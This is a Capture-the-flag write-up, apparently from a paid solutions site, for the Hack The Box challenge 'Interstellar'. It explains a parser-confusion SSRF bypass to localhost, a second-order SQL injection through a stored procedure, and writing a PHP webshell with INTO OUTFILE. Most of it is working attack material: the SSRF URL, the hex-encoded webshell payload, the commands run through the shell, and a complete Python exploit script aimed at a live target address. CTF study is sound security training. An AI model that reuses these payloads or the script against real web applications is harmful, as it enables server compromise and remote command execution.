$ cat writeup.md…
$ cat writeup.md…
Hack The Box
Task: a PHP/MySQL web app with a localhost-only profile edit feature and a server-side communication endpoint. Solution: abuse parser confusion for SSRF to 127.0.0.1, plant a second-order SQLi in the session name, write a PHP webshell with INTO OUTFILE, and read the randomized flag file.
Interstellar Challenge Scenario
Target used for the final solve: http://154.57.164.83:31171
The application allows registration, login, and a “communicate” feature that sends server-side requests. The goal is to reach an internal localhost-only edit function, turn that into SQL injection on the homepage, and use the database write primitive to recover the flag.
communicate.phpThe communication endpoint validates a user-supplied URL with filter_var() and parse_url(), then checks the parsed host with:
preg_match('/motherland\.com$/', $parsedUrl['host'])
At first glance this looks like a domain allowlist. The bug is that cURL is not given the original URL. Instead, the request is sent to:
curl_setopt($ch, CURLOPT_URL, $parsedUrl['host']);
So the code validates one URL representation, but cURL later interprets a different string. That parser confusion is the key twist.
index.php?action=edit only allows requests from 127.0.0.1:
if ($_SERVER['REMOTE_ADDR'] != '127.0.0.1') { // blocked }
This would normally prevent direct access from outside.
The allowlist can be satisfied and the request still directed to localhost with:
0://[::ffff:127.0.0.1].motherland.com:80/
Why it works:
filter_var() accepts the URL.parse_url() extracts a host ending in motherland.com, so the regex passes.127.0.0.1.This is the intended parser-confusion / SSRF localhost bypass twist.
Registration sanitizes the initial name value:
$name = preg_replace('/[^a-zA-Z0-9]/', '', $name);
But the localhost-only edit action does not sanitize new_name. That lets us replace our session name with SQL injection payload text through SSRF.
searchUser(name)The homepage calls CALL searchUser(?), which looks safe at the PHP layer, but the stored procedure rebuilds SQL unsafely:
SET @sql = CONCAT('SELECT * FROM users WHERE name = \'', name, '\''); PREPARE stmt FROM @sql; EXECUTE stmt;
That means the application has a second-order SQL injection:
/.Create any valid account. The initial name can be something simple like pilot.
Send the localhost-bypass URL to communicate.php and keep the authenticated PHPSESSID cookie. The POST body forwarded internally should contain:
action=edit new_name=<SQLi payload>
SSRF URL:
0://[::ffff:127.0.0.1].motherland.com:80/
The injected name used in the final solve wrote a PHP shell into the web root with UNION ... INTO OUTFILE:
x' UNION SELECT 0x3c3f7068702073797374656d28245f4745545b305d293b3f3e,'','','','' INTO OUTFILE '/var/www/html/<shell>.php' FIELDS TERMINATED BY '' ENCLOSED BY '' ESCAPED BY '' LINES TERMINATED BY ''-- -
The hex string decodes to:
<?php system($_GET[0]);?>
After the SSRF edit succeeds, simply visit /. The homepage calls searchUser(name), which executes the stored payload and creates /var/www/html/<shell>.php.
Once the shell is present:
/<shell>.php?0=id /<shell>.php?0=ls%20/
The root directory contains a randomized flag filename like:
<hex>_flag.txt
Read it through the shell:
/<shell>.php?0=cat%20/<hex>_flag.txt
Reference exploit script already saved in the task workspace:
/Users/sergeyskorobogatov/Projects/Agents/CTF/tasks/hackthebox/interstellar/exploit_interstellar.py
Full working solve script:
#!/usr/bin/env python3 import re import sys import time import uuid import requests def must(cond, msg): if not cond: raise SystemExit(msg) def main(): if len(sys.argv) != 2: print(f"Usage: {sys.argv[0]} <base_url>") raise SystemExit(1) base = sys.argv[1].rstrip("/") s = requests.Session() tag = uuid.uuid4().hex[:8] username = f"user_{tag}" password = f"pass_{tag}" name = "pilot" shell_name = f"{uuid.uuid4().hex[:8]}.php" register = s.post( f"{base}/register.php", data={"name": name, "username": username, "password": password}, timeout=10, ) must(register.status_code == 200, f"register failed: {register.status_code}") login = s.post( f"{base}/login.php", data={"username": username, "password": password}, allow_redirects=False, timeout=10, ) must(login.status_code in (302, 303), f"login failed: {login.status_code}") shell_hex = "0x3c3f7068702073797374656d28245f4745545b305d293b3f3e" # <?php system($_GET[0]);?> payload = ( "x' UNION SELECT " f"{shell_hex},'','','','' INTO OUTFILE '/var/www/html/{shell_name}' " "FIELDS TERMINATED BY '' ENCLOSED BY '' ESCAPED BY '' LINES TERMINATED BY ''-- -" ) ssrf_url = "0://[::ffff:127.0.0.1].motherland.com:80/" s.post( f"{base}/communicate.php", data={ "url": ssrf_url, "data[action]": "edit", "data[new_name]": payload, }, timeout=10, ) trigger = s.get(f"{base}/", timeout=10) must(trigger.status_code in (200, 500), f"unexpected trigger status: {trigger.status_code}") time.sleep(0.5) shell_url = f"{base}/{shell_name}" whoami = requests.get(shell_url, params={"0": "id"}, timeout=10) must("uid=" in whoami.text, "webshell was not created") listing = requests.get(shell_url, params={"0": "ls /"}, timeout=10).text match = re.search(r"([A-Fa-f0-9]{16}_flag\.txt)", listing) must(match, "flag file not found in /") flag_path = "/" + match.group(1) flag = requests.get(shell_url, params={"0": f"cat {flag_path}"}, timeout=10).text.strip() print(flag) if __name__ == "__main__": main()
Example usage:
python3 exploit_interstellar.py http://154.57.164.83:31171
$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar